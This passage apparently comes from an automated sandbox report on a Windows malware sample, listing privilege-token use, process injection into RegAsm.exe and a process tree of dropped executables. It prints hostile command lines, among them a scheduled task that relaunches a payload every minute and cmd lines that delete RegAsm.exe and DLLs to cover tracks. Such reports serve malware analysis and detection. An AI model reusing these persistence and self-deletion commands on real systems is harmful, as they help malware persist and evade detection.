N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
N/A N/A C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe N/A
N/A N/A C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\tnqRYQUr80cAcE3KTUZ0V5tS.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\tnqRYQUr80cAcE3KTUZ0V5tS.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2920 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2920 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2920 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 2240 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2240 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2240 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 2156 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2156 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2240 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2240 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 2240 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4092 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
PID 4092 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
PID 4092 wrote to memory of 3276 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 4092 wrote to memory of 3276 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 4092 wrote to memory of 3276 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 2240 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 2240 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 2240 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4932 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2240 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\reg.exe
PID 2240 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\reg.exe
PID 2240 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2120 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2240 wrote to memory of 4652 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\schtasks.exe
PID 2240 wrote to memory of 4652 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\schtasks.exe
PID 2240 wrote to memory of 4652 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\schtasks.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4652 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2240 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 2240 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 1224 wrote to memory of 916 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe \??\c:\windows\SysWOW64\schtasks.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe

"C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2156 -ip 2156

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 304

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2120 -ip 2120

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 296

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"

C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe

"C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe" /s

C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe

"C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

"C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Users\Admin\AppData\Local\Temp\e5790a7\download.exe

run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5028 -ip 5028

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 2096

C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe

"C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\Pictures\tnqRYQUr80cAcE3KTUZ0V5tS.exe

